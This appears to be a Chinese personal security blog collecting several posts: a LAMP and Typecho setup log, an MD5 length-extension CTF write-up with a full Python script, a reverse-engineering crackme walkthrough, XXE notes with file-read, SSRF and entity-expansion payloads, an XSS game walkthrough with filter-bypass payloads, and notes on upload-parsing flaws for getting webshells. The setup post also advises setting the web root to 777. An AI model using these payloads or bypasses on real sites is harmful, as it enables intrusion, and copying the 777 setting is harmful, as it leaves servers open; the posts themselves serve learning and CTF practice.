Blog Set

blog配置历程

0x00　aliyun配置

远连过去，我这是个centos的系统盘，配置起来贼麻烦所以我选择修改系统盘为ubuntu。


换成了ubuntu系统。

设置快照策略，也就是自动快照，这点很重要，除非你保证你的站永远不被搞。
还有就是重置密码。

0x01　远连进去

远连进去是一个纯命令行无界面linux.ubuntu。

1. 安装lamp环境
0x00 安装Apache2
sudo apt-get install apache2

0x01 安装PHP
sudo apt-get install php
sudo apt-get install libapache2-mod-php

0x02 安装MySql
sudo apt-get install mysql-server
（安装中会提示设置数据库root的密码）
sudo apt-get install mysql-client
mysql_secure_installation
（输入数据库root的密码，没有什么特殊需要的全部回车就可以了）
#mysql_secure_installation
执行出错的话，可以启动下mysql服务
#sudo service mysql start

0x03 安装PHP一些必要插件
sudo apt-get install php-mysql php-gd php-imap php-ldap php-mbstring php-odbc php-pear php-xml php-xmlrpc

0x04 测试
进入网站根目录 #cd /var/www/html
编辑测试文件   #vim test.php   
（vim Ubuntu16.04貌似需要安装 sudo apt-get install vim
vi 用法我会新开一篇来记录）
<?php
echo "Hello World!"
?>
在编辑时可能出现的问题:vim不能写入文件，是因为html是root-root且权限是755其他用户没有写入权限
#sudo chmod 777 html
1.先测试PHP编译
#php test.php
2.测试Apache解析
#curl 127.0.0.1/test.php
返回 Hello World! 则安装成功。

0x02　Typecho搭建

下载源码
http://typecho.org/download

下载下来是一个压缩包，解压后将下图这个目录用FTP工具上传到服务器的网站根目录


这里注意用sftp模式

开始我建立了独立的文件夹来保存
然后绑定域名
然后开始安装

填写信息

这一步可能遇上数据库找不到的问题，可以自己安装扩展
然后大功告成

然后访问http://120.24.64.234/50n9/

觉得这样不好看，想要直接域名访问

修改下apache的配置吧

vi /etc/apache2/sites-available/000-default.conf

找到DocumentRoot /var/www/改成你自己的目录

重启apache

/etc/init.d/apacge2 restart

修改默认网页

vi /etc/apache2/mods-available/dir.conf

原来是：

<IfModule mod_dir.c>
DirectoryIndex index.html index.cgi index.pl index.php index.xhtml index.htm
</IfModule>

添加上想要的/typecho就行啦~

<IfModule mod_dir.c>
DirectoryIndex index.html index.cgi index.pl index.php index.xhtml index.htm /typecho
</IfModule>

但是发现主页的样式丢失，懵逼了，没找到解决方法。

所以我直接把文件全部放在根目录，好了可以直接访问了。

到此，这个blog就完成了。

show all >>

MD5扩展攻击

起因

一道ctf题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

这里的关键绕过是这一句:
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password)))
要
cookie['getmein']===$secret . urldecode($username . $password)
的md5加密，而这里的secret是不可知的，但却知道他的长度，这里我们就涉及到hash扩展攻击。

MD5加密原理

MD5会把原数据分成512为一块的许多块，最后一块加上64字节来表示他的长度，一共构成512*n个字节然后再对这N个512数据块进行N次加密计算(因为过程较复杂，此处不做详解，下文称为复杂计算)，虽然此处加密过程很复杂，但是整个加密过程很容易理解，如下:

加密过程

现在我们知道的是
secretusernamepassword这个数据，那么我们怎么进行攻击呢，我们看一下这个数据的16进制

算一下，22个字符,512/8=64,64/16=4，我们需要4排数据然后最后给一个整个数据长度，22=0x14,然后md5计算是小端存储，所以我们修改如下图

secretusernamepassword转16进制
0x736563726574757365726e616d657617373776f7264
然后填充成
0x736563726574757365726e616d6570617373776f726480000000000000000000000000000000000000000000000000000000000000000000b000000000000000
md5(‘secretusernamepassword’)==3105ff5f8723abe628d54387f2de5641
可以倒推出这个时候的ABCD1:
A=5fff0531
B=e6ab2387
C=8743d528
D=4156def2
现在如果我们继续加数据
0x736563726574757365726e616d6570617373776f726480000000000000000000000000000000000000000000000000000000000000000000b00000000000000072747576
现在我们已知前面512位计算出来的ABCD1,现在我们去掉前面直接用运算出来的ABCD1运算后面0x72747576得到的结果应该和加密全部的结果是一样的
0X72747576会被自动填充为
0x72747576800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002002000000000000
'secretusernamepassword'+'\x80'+'\x00'*33+'\xb0'+'\x00'*7+'\x72\x74\x75\x76'
直接md5加密结果为8e847c325fb05c60d437b23dc38ea6da
使用ABCD1手动加密0X72747576
A=327c848e,B=605cb05f,C=3db237d4,D=daa68ec3
md5:8e847c325fb05c60d437b23dc38ea6da
可以看到相同

攻击流程

既然如初，我们只要知道一个hash值，知道原来数据的数据长度，那么我们就可以算出
原数据+填充数据到512+任意内容的hash值
那么我们来看代码
他是直接用secret+username+password输入的是username和password，那么我们直接得出cookie里面的hash值，拿出这个hash值，倒推出这个ABCD1,然后用这个ABCD1对任意值加密，得出来hash值就是这个任意值附加在
secret+username+password+填充字节+任意值的hash
like this：

代码(引用网上的代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author：DshtAnger
# theory reference:
#   blog：
#       http://blog.csdn.net/adidala/article/details/28677393
#       http://blog.csdn.net/forgotaboutgirl/article/details/7258109
#       http://blog.sina.com.cn/s/blog_6fe0eb1901014cpl.html
#   RFC1321：
#       https://www.rfc-editor.org/rfc/pdfrfc/rfc1321.txt.pdf
##############################################################################
import sys
def genMsgLengthDescriptor(msg_bitsLenth):
    '''
    ---args:
            msg_bitsLenth : the bits length of raw message
    --return:
            16 hex-encoded string , i.e.64bits,8bytes which used to describe the bits length of raw message added after padding
    '''
    return __import__("struct").pack(">Q", msg_bitsLenth).encode("hex")
def reverse_hex_8bytes(hex_str):
    '''
    --args:
            hex_str: a hex-encoded string with length 16 , i.e.8bytes
    --return:
            transform raw message descriptor to little-endian
    '''
    hex_str = "%016x" % int(hex_str, 16)
    assert len(hex_str) == 16
    return __import__("struct").pack("<Q", int(hex_str, 16)).encode("hex")
def reverse_hex_4bytes(hex_str):
    '''
    --args:
            hex_str: a hex-encoded string with length 8 , i.e.4bytes
    --return:
            transform 4 bytes message block to little-endian
    '''
    hex_str = "%08x" % int(hex_str, 16)
    assert len(hex_str) == 8
    return __import__("struct").pack("<L", int(hex_str, 16)).encode("hex")
def deal_rawInputMsg(input_msg):
    '''
    --args:
            input_msg : inputed a ascii-encoded string
    --return:
            a hex-encoded string which can be inputed to mathematical transformation function.
    '''
    ascii_list = [x.encode("hex") for x in input_msg]
    length_msg_bytes = len(ascii_list)
    length_msg_bits = len(ascii_list) * 8
    # padding
    ascii_list.append('80')
    while (len(ascii_list) * 8 + 64) % 512 != 0:
        ascii_list.append('00')
    # add Descriptor
    ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))
    return "".join(ascii_list)
def getM16(hex_str, operatingBlockNum):
    '''
    --args:
            hex_str : a hex-encoded string with length in integral multiple of 512bits
            operatingBlockNum : message block number which is being operated , greater than 1
    --return:
            M : result of splited 64bytes into 4*16 message blocks with little-endian
    '''
    M = [int(reverse_hex_4bytes(hex_str[i:(i + 8)]), 16) for i in
         xrange(128 * (operatingBlockNum - 1), 128 * operatingBlockNum, 8)]
    return M
# 定义函数，用来产生常数T[i]，常数有可能超过32位，同样需要&0xffffffff操作。注意返回的是十进制的数
def T(i):
    result = (int(4294967296 * abs(__import__("math").sin(i)))) & 0xffffffff
    return result
# 定义每轮中用到的函数
# RL为循环左移，注意左移之后可能会超过32位，所以要和0xffffffff做与运算，确保结果为32位
F = lambda x, y, z: ((x & y) | ((~x) & z))
G = lambda x, y, z: ((x & z) | (y & (~z)))
H = lambda x, y, z: (x ^ y ^ z)
I = lambda x, y, z: (y ^ (x | (~z)))
RL = L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff))
def FF(a, b, c, d, x, s, ac):
    a = (a + F((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
    a = RL((a), (s)) & 0xffffffff;
    a = (a + b) & 0xffffffff
    return a
def GG(a, b, c, d, x, s, ac):
    a = (a + G((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
    a = RL((a), (s)) & 0xffffffff;
    a = (a + b) & 0xffffffff
    return a
def HH(a, b, c, d, x, s, ac):
    a = (a + H((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
    a = RL((a), (s)) & 0xffffffff;
    a = (a + b) & 0xffffffff
    return a
def II(a, b, c, d, x, s, ac):
    a = (a + I((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
    a = RL((a), (s)) & 0xffffffff;
    a = (a + b) & 0xffffffff
    return a
def show_md5(A, B, C, D):
    return "".join(["".join(__import__("re").findall(r"..", "%08x" % i)[::-1]) for i in (A, B, C, D)])
def run_md5(A=0x67452301, B=0xefcdab89, C=0x98badcfe, D=0x10325476, readyMsg=""):
    a = A
    b = B
    c = C
    d = D
    for i in xrange(0, len(readyMsg) / 128):
        M = getM16(readyMsg, i + 1)
        for i in xrange(16):
            exec "M" + str(i) + "=M[" + str(i) + "]"
        # First round
        a = FF(a, b, c, d, M0, 7, 0xd76aa478L)
        d = FF(d, a, b, c, M1, 12, 0xe8c7b756L)
        c = FF(c, d, a, b, M2, 17, 0x242070dbL)
        b = FF(b, c, d, a, M3, 22, 0xc1bdceeeL)
        a = FF(a, b, c, d, M4, 7, 0xf57c0fafL)
        d = FF(d, a, b, c, M5, 12, 0x4787c62aL)
        c = FF(c, d, a, b, M6, 17, 0xa8304613L)
        b = FF(b, c, d, a, M7, 22, 0xfd469501L)
        a = FF(a, b, c, d, M8, 7, 0x698098d8L)
        d = FF(d, a, b, c, M9, 12, 0x8b44f7afL)
        c = FF(c, d, a, b, M10, 17, 0xffff5bb1L)
        b = FF(b, c, d, a, M11, 22, 0x895cd7beL)
        a = FF(a, b, c, d, M12, 7, 0x6b901122L)
        d = FF(d, a, b, c, M13, 12, 0xfd987193L)
        c = FF(c, d, a, b, M14, 17, 0xa679438eL)
        b = FF(b, c, d, a, M15, 22, 0x49b40821L)
        # Second round
        a = GG(a, b, c, d, M1, 5, 0xf61e2562L)
        d = GG(d, a, b, c, M6, 9, 0xc040b340L)
        c = GG(c, d, a, b, M11, 14, 0x265e5a51L)
        b = GG(b, c, d, a, M0, 20, 0xe9b6c7aaL)
        a = GG(a, b, c, d, M5, 5, 0xd62f105dL)
        d = GG(d, a, b, c, M10, 9, 0x02441453L)
        c = GG(c, d, a, b, M15, 14, 0xd8a1e681L)
        b = GG(b, c, d, a, M4, 20, 0xe7d3fbc8L)
        a = GG(a, b, c, d, M9, 5, 0x21e1cde6L)
        d = GG(d, a, b, c, M14, 9, 0xc33707d6L)
        c = GG(c, d, a, b, M3, 14, 0xf4d50d87L)
        b = GG(b, c, d, a, M8, 20, 0x455a14edL)
        a = GG(a, b, c, d, M13, 5, 0xa9e3e905L)
        d = GG(d, a, b, c, M2, 9, 0xfcefa3f8L)
        c = GG(c, d, a, b, M7, 14, 0x676f02d9L)
        b = GG(b, c, d, a, M12, 20, 0x8d2a4c8aL)
        # Third round
        a = HH(a, b, c, d, M5, 4, 0xfffa3942L)
        d = HH(d, a, b, c, M8, 11, 0x8771f681L)
        c = HH(c, d, a, b, M11, 16, 0x6d9d6122L)
        b = HH(b, c, d, a, M14, 23, 0xfde5380c)
        a = HH(a, b, c, d, M1, 4, 0xa4beea44L)
        d = HH(d, a, b, c, M4, 11, 0x4bdecfa9L)
        c = HH(c, d, a, b, M7, 16, 0xf6bb4b60L)
        b = HH(b, c, d, a, M10, 23, 0xbebfbc70L)
        a = HH(a, b, c, d, M13, 4, 0x289b7ec6L)
        d = HH(d, a, b, c, M0, 11, 0xeaa127faL)
        c = HH(c, d, a, b, M3, 16, 0xd4ef3085L)
        b = HH(b, c, d, a, M6, 23, 0x04881d05L)
        a = HH(a, b, c, d, M9, 4, 0xd9d4d039L)
        d = HH(d, a, b, c, M12, 11, 0xe6db99e5L)
        c = HH(c, d, a, b, M15, 16, 0x1fa27cf8L)
        b = HH(b, c, d, a, M2, 23, 0xc4ac5665L)
        # Fourth round
        a = II(a, b, c, d, M0, 6, 0xf4292244L)
        d = II(d, a, b, c, M7, 10, 0x432aff97L)
        c = II(c, d, a, b, M14, 15, 0xab9423a7L)
        b = II(b, c, d, a, M5, 21, 0xfc93a039L)
        a = II(a, b, c, d, M12, 6, 0x655b59c3L)
        d = II(d, a, b, c, M3, 10, 0x8f0ccc92L)
        c = II(c, d, a, b, M10, 15, 0xffeff47dL)
        b = II(b, c, d, a, M1, 21, 0x85845dd1L)
        a = II(a, b, c, d, M8, 6, 0x6fa87e4fL)
        d = II(d, a, b, c, M15, 10, 0xfe2ce6e0L)
        c = II(c, d, a, b, M6, 15, 0xa3014314L)
        b = II(b, c, d, a, M13, 21, 0x4e0811a1L)
        a = II(a, b, c, d, M4, 6, 0xf7537e82L)
        d = II(d, a, b, c, M11, 10, 0xbd3af235L)
        c = II(c, d, a, b, M2, 15, 0x2ad7d2bbL)
        b = II(b, c, d, a, M9, 21, 0xeb86d391L)
        A += a
        B += b
        C += c
        D += d
        A = A & 0xffffffff
        B = B & 0xffffffff
        C = C & 0xffffffff
        D = D & 0xffffffff
        a = A
        b = B
        c = C
        d = D
        print "%x,%x,%x,%x" % (a, b, c, d)
    return show_md5(a, b, c, d)
samplehash="571580b26c65f306376d4f64e53cb5c7"
s1=0x5fff0531
s2=0xe6ab2387
s3=0x8743d528
s4=0x4156def2
secret = 'secretusernamepassword'
test=secret+'\x80'+'\x00'*33+'\xb0'+'\x00'*7+'\x72\x74\x75\x76'
s = deal_rawInputMsg(test)
inp = s[len(s)/2:]
print test+'\n'
print '----------------------------------------------------------'
print s
print '----------------------------------------------------------'
print inp
print '----------------------------------------------------------'
print "md5:"+run_md5(s1,s2,s3,s4,inp)

show all >>

问鼎杯一道RE

找入口

ctrl+f8
找到第一个入口点002f2283

分析一下,下面马上要到，exit函数退出,所以在这个点和下面一个call打下断点,然后重跟
f9跑到开始找到的入口点断点002f2283然后f8继续跟,进入输入界面,输入123123回车继续看,到下一列了，继续跟看下算法在哪，过了下一个call228d之后有个test 判定出来a1=00

然后就进入jnz判断，非0则跳，然后a1=00，所以不跳直接走到退出，所以002f228D是关键call关键算法应该在里面,现在重新跟
跟到这个关键call里面来

,发现跟下来并没有看见处理我们输入的地方,那就看下最初的入口call,重放一下
f7跟进2283,f8继续跟，跟到了一个输入,这个地方就是刚刚2283的输入,输入123123回车继续,跟到下一个call的时候已经看到在处理我们的输入了,

继续f8,走到11c0,一个cmp操作，比较0x10和eax寄存器的值,eax的值下面已经写出来了是00000006

,而我们输入的是123123,所以这里记录的应该是我们的长度,然后比较长度,所以长度应该为0x10也就是16位的值,下面就是je判断，应该不会跳直接往下走进入下一个call就退出。这里我们直接改标志位让他je通过，继续跟可以跟到这里movsx看下面框，他是取出第一个我们的输入值也就是1==0x31,然后进入一个call我们双击看下这个call

，可以看到一个算法，ecx*2-0x6寄存到eax，这一步在左边可以看到ecx==0x31==1也就是我们的第一个输入，然后下一步亦或eax,ecx亦或之后存在ecx，继续走，回到跟进之前的页面，继续跟，中间没有处理数据，直到跟到下一个call，

跟进去，继续算，eax=edx+edx,edx=0,所以eax=0，然后，ecx=ecx-eax,ecx=0x6D,eax=0,所以ecx=0x6D，然后,eax=ecx=0x6d,继续跟，返回，然后到movzx-->eax=0x6D,ecx=0xB9，用0x6D减去位数，也就是下标的2倍，第一轮还是0x6d,用0x6D拿来比较，猜测是每一个值去一个数来比较，先记下，我们继续跟，

比较然后不同sete-->d1=00 ,下面应该会je判断进入一个退出函数，因为第一个都错了，我们直接跳，jmp跳回去，循环到2，

现在是取第二个值2==0x32然后eax=eax^ecx=0x5E，继续，

现在eax=0x02所以可以猜测是已经改了下标知道第3个值了，edx还是1，继续，
ds=edx+0x2f5018这递增的这个起始地址的位置，我们找到这个地址，

开始第一个B9然后3A，证明猜想，然后我们看到原来的地方有个11c0,一个cmp操作，比较0x10，所以取16位，也就是B9 3A A9 D8 15 8A E7 42 69 90 CA A3 4D D8 D9 C9这16个，只要输入的东西经过运算之后等于这一串就可以绕过直接退出。
算法：

第一个call:ecx*2-0x6，eax^ecx,即时自身乘2-0x6,然后与自身亦或
第二个call:处理对比地址加的位数，这里可以理解为下标
然后写个脚本：

1
2
3
4
5
6
7
8
9
a=[0xB9,0x3A,0xA9,0xD8,0x15,0x8A,0xE7,0x42,0x69,0x90,0xCA,0xA3,0x4D,0xD8,0xD9,0xC9]
b=''
for i in range(0,16):
    print hex(a[i])+'=='+str(a[i])
    for j in range(1,255):
        if (j^(j*2-6)-(2*i))==a[i]:
            print 'j='+chr(j)
            b+=chr(j)
print b

但是有点问题，跑出来有些项没有匹配

show all >>

XXE

xxe学习记录

1.xml基础

1.1 xml-dtd

<?xml version="1.0"?>   
<!DOCTYPE note [  
<!ELEMENT note (to,from,heading,body)>  
<!ELEMENT to (#PCDATA)>  
<!ELEMENT from (#PCDATA)>  
<!ELEMENT heading (#PCDATA)>  
<!ELEMENT body (#PCDATA)>  
<!ENTITY entity "entity_value">  
]>  
<note>  
<to>George</to>  
<from>John</from>  
<heading>Reminder</heading>  
<body>Don't forget the meeting!</body>  
&entity;  
</note>

XML 可扩展标记语言，被设计用来传输和存储数据。
可扩展既是他能拥有无限多个标记。
通过自定义文档类型和实体来定义标记。

XML 文档的语法约束：DTD (Document Type
Definition 文档类型定义)

<!DOCTYPE note [  
<!ELEMENT note (to,from,heading,body)>  
<!ELEMENT to (#PCDATA)>  
<!ELEMENT from (#PCDATA)>  
<!ELEMENT heading (#PCDATA)>  
<!ELEMENT body (#PCDATA)>  
<!ENTITY entity "entity_value">  
]>

比如这一段就定义了标签
note to from heading body
然后这一段就可以调用这一段标签 

<note>    
  <to>George</to>
  <from>John</from>    
  <heading>Reminder</heading>    
  <body>Don't forget the meeting!</body>    
  &entity;    
</note>

1.2 xml-实体引用

在 xml 内部：
```<!ENTITY 实体名称 “实体的值”>
DTD例子： 

<!ENTITY writer "Bill Gates">  
//XML 引用实体:&writer;

外部实体声明&引用
外部DTD(实体声明): 

<!ENTITY 实体名称 "实体的值">

在 xml 内部（外部实体引用）：

<!ENTITY 实体名称 SYSTEM "URI/URL">
//这个很重要，在之后的攻击测试里面会用到
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

2. xxe

2.1 外部实体引用

xxe可以引用外部实体，通过 

<!ENTITY 实体名称 SYSTEM "URI/URL">

可以读取本地文件
本地测试:

Doctype里面的定义不会展示在里游览器中，实体note标签下的东西展示出来
我们来看下语句 

<!ENTITY xxe SYSTEM "file:///C:/11111.txt">

引用实体xxe，xxe的值是外部实体file:///C:/11111.txt
这里的file协议读取C盘下面的11111.txt文件
这里如果在一个web应用里面存在xxe，那么就可以对服务器主机任意文件读取
当然这个实验的时候踩到的一个坑就是xml解释器的问题，试了很多浏览器，最后在ie6上面得到了预期回显

2.2 ssrf

xxe可以引用外部实体，通过 

<!ENTITY 实体名称 SYSTEM "URI/URL">

这里是可以通过url请求来获取值得，这就满足了ssrf的攻击模式
本地测试:



这里可以看到，我们冲虚拟机192.168.141.128里面 

<!ENTITY xxe SYSTEM "http://192.168.141.129:1234">

去访问kali的1234端口
然后kali的1234端口监听，监听到了数据
另外请求外部志愿还有一种方式：直接使用DOCTYPE

3 DDos

因为在dtd里面可以对实体反复引用 

<?xml version="1.0" encoding="utf-8" standalone="no" ?>
<!DOCTYPE note [
<!ENTITY xxe "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
<!ENTITY xxe1 "&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;">
<!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;">
...
...
]>
<note>
    &xxe;
</note>

可以想一想，这样地柜调用上一级，呈指数倍数增长，xxe10的数据量会有多大？

4 参数实体

5 通过 Xinclude 包含外部资源

show all >>

Xss Game

xss小游戏

前段时间哈士奇师傅推荐的的一个xss小游戏源码，中间断断续续做了一些，也算是进行一个小总结吧。（JavaScript需要开一个坑了）反正我觉得xss也算一种注入吧。
链接：http://pan.baidu.com/s/1gfIGcgz 密码：cynn

搞搞搞

开始搞的时候怎么都弹不出来，F12之后发现是浏览器的xss过滤脚本，火狐，谷歌，ie，都有。调整下安全等级正式开始。
1.最简单的


问题在参数test处，他将参数直接输出在页面中
直接构造

name=<script>alert(1)</script>

2.输出点
和第一题一样页面有post数据的回显，尝试一波

<script>alert(1)</script>

没有弹窗，查看源

<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>

尖括号被过滤了，试试编码处理u003c和u003e，依然为成功，然后源里面可以发现下面表单里面有问题

<input name=keyword  value="u003cscript>alert(1)</script>">

这里可以构造

"><script>alert(1)</script>

弹窗成功
3.事件


同样之前的操作，可以看到这里表单里面也编码转义了然后是单引号，这里可以用事件来x
test’ oninput=javascript:alert(1)//
可以执行 js 的on事件

onload 当加载
onunload 当退出
onchange 当输入改变时
onsubmit 当提交
onreset 当重置按钮被点击
onselect 当文本被选定
onblur 当元素失去焦点
onfocus 当元素获得焦点
onabort 当图像加载被中断
onkeydown 当某个键盘的键被按下
onkeypress 当某个键盘的键被按下或按住
onkeyup 当某个键盘的键被松开
onclick 当鼠标点击某个对象
ondbclick 当鼠标双击某个对象
onmouseover 当鼠标覆盖
onmousemove 当鼠标移动
onmouseout 当鼠标移开
onmouseup 当鼠标松开
onforminput =oninput 当输入文本
onformchange =onchange 当改变文本
ondrag 当事件在元素或者选取的文本被拖动时触发
ondrop 当事件在可拖动元素或选取的文本放置在目标区域时触发

弹窗成功
4.3题的基础上用双引号（好瓜皮）
5.filter是on->o_n,script->scr_ipt
也就是说用不了事件，就可以想想其他标签了，我们这里用个超链接吧

<input name=keyword  value="<scr_ipt>">

这里的还是双引号不多说 

<input name=keyword  value=""> <a href="javascript:%61lert(1)">click me</a> //">

点击clike me 弹窗
6.filter:href->fr_ef,on->o_n,script->scr_ipt
可以大小写绕过，Unicode编码没过到 

"><scripT>alert(1)</script>

7.过滤双写，这个在sql里面也有用的，主要是过滤方法的问题
双写关键字就可以了比如scripscriptt
8.过滤了script，编码绕过
javascript:alert(1)
9.白名单检测，必须包含http://
这个题我看了两种答案，一种是注释，可是没试成功
哈士奇师傅的方法很imba
javascript:alert(‘http://‘)
这可能就是脑洞吧
10.查看源码有几个隐藏参数属性
从这几个点可以像头几道题那样做就可以了
url=&t_sort=” type=”text” onclick=”alert(1)
11.同样是10题只是参数位置变成了referer抓包改
url=&t_sort=” type=”text” onclick=”alert(1)
12.查看源码 

<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" type="hidden">

ua参数注入xss，需要抓包，然后payload如10题。
13.cookie注入xss
抓包改cookie
14.这个题EXIF
就是上传图片查看信息，可以控制输出的地方很多
15.这个题AngularJS
我也不是很懂这个，只知道
ng-include 指令用于包含外部的 HTML 文件
包含的内容将作为指定元素的子节点
ng-include 属性的值可以是一个表达式，返回一个文件名
默认情况下，包含的文件需要包含在同一个域名下
大概看下payload就能懂一点了 

/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

16.过滤了空格，script，/，可以用on事件
用%0a等代替空格，和sql注入一样

17.http://127.0.0.1/xss/level17.php?arg01=a&arg02=b
查找输出点

<embed src=xsf01.swf?a=b onmouseover=alert(1) width=100% heigth=100%><h2 align=center>

这个输出点就是这个a=b，排除过滤之后可以这样构造，用on事件
18.哇，这个题和17题有什么不同？
19和20是flashxss，还没有研究过，做不下去了。

总结

这题蛮有意思的，对xss入门很友好，然后以后就需要看看javascript的弹cookie那些脚本了，感觉xss不弹cookie还是废物一个。
写下这篇文章，也借鉴学习也多方的文章。

show all >>

UploadFiles

1.什么是文件上传漏洞

文件上传漏洞是说用户上传了一个可执行的脚本文件（就是一个能在服务器上被解析执行的文件），并通过这个脚本文件获得执行服务端命令的能力。
这种漏洞往往是为直接和致命的。文件上传这个功能本身是没有问题的，问题出现在文件上传之后服务器怎么去出来文件，解释文件。如果服务器的处理逻辑做的不够安全，就会导致攻击者拿到他想拿到的东西。
本文将会从文件上传的途中会遇到哪些阻拦开始讲，到最后的整体渗透思路介绍。

2.文件上传的危害

2.1 上传的文件时web脚本语言

服务器的web容器就会解释并执行用户上传的脚本，导致代码的执行。

2.2 上传的是 flash的策略文件crossdomain.xml

黑客用以控制flash在还域下的行为（其他通过类似方式控制策略文件的情况类似）。
也就是说，我在你这里改掉你的安全策略，就相当于把你的防盗门换成了推拉门，安全性能自然下降，或者将别人访问你的web重定向到攻击者的钓鱼网站，则危害也是很大的。

2.3上传文件是病毒、木马文件

黑客用以诱骗用户或者管理员下载执行。

2.4上传文件是钓鱼图片或为包含了脚本的图片

在某些版本的浏览器中会被作为脚本执行，被用于钓鱼和欺诈。除此之外，还有一些不常见的利用方法，比如将上传文件作为一个入口，溢出服务器的后台处理程序，如图片解析模块;或者上传一个合法的文本文件，其内容包含了PHP脚本，再通过”本地文件包含漏洞(Local File Include)”执行此脚本;等等。

3.漏洞存在的条件

3.1 用户上传的文件能被web容器解释执行

无法通过web容器将其解释执行，就不会进一步的得到服务器的权限。

3.2 用户有访问上传的这个文件的权限。

如果攻击者没法访问上传的文件，则无法通过web容器将其解释执行，就不会进一步的得到服务器的权限。

3.3 有可以绕过的，或者没有文件安全监测

如果有，一则上传可能不成功，二则，文件解析不成功，都可以是攻击者攻击失败。

4.漏洞成因

4.1 IIS5.x-6.x解析漏洞

使用iis5.x-6.x版本的服务器，大多数厚实windows srver 2003的老古董，开发与剧一般为asp：该解析漏洞也只存在于asp文件，aspx都不行。
目录解析（iis6.0）
形式：www.xxx.com/xx.asp/xx,jpg
服务器会默认吧.asp和.asp目录下的文件都解析为asp文件
文件解析
形式：www.xxx.com/xx.asp;.jpg
服务器默认不解析;号后面的内容，因此xx.asp;.jpg便被解析成asp文件了
解析文件类型
Iis6.0 默认的可执行文件有.asp/.asa/.cer/.cdx

4.2 apache 解析漏洞

Apache 解析文件的规则是从右到左开始判断解析，如果后缀名为不可识别文件解析，就再往左判断一个。比如xx.php.qwe.asd
.qwe和.asd这两种后缀是不可解析的，apache就会一直往前解析，解析到xx.php并执行。
上传形式 xx.php,php123
还有一些特殊配置造成的解析漏洞
1.如果apache里面conf配置文件里面的配置AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
2.如果apache里面conf配置文件里面的配置AddType application/x-httpd-php .jpg 即使扩展名是 jpg，一样能以php 方式执行。

4.3 nginx解析漏洞

nginx默认是以cgi的方式支持解析php的，普遍的做法实在nginx的配置文件中通过正则表达式匹配设置script_filename。
当访问www.xx.com/phpinfo.jpg/1.php这个url时，$fastcgi_script_name会被设置为 “phpinfo.jpg/1.php” ，然后构造成SCRIPT_FILENAME传递给PHP CGI，但是PHP为什么会接受这样的参数，并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。
如果开启了这个选项，那么就会触发在PHP中的如下逻辑：PHP会认为SCRIPT_FILENAME是phpinfo.jpg，而1.php是PATH_INFO，所以就会将phpinfo.jpg作为PHP文件来解析了。
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
或者直接上传名为test.jpg，内容是再同级目录下写一个shell.php的一句话木马,然后访问test.jpg/.php这样就是解析执行tesr.php生成shell
当然这个要看php的版本，5.5之后好像就已经不存在这个洞了

4.4 iis7.5解析漏洞

Iis7.5的漏洞和nginx的差不多，漏洞成因都是php的配置重开了 cgi.fix_pathinfo，而不是其本身的漏洞。

4.5 配合操作系统文件命令规则

如xx.asp./test.asp(空格)/总之一切能够不能出现在目录和文件名中的如/\:*?”<>
这些符号来截断字符串，让服务器只保留前面的部分，而不会被过滤。


然后前台，或者这个图片的任意输出位置都能得到它的物理路径。
然后连菜刀就能getshell

5.绕过文件上传限制

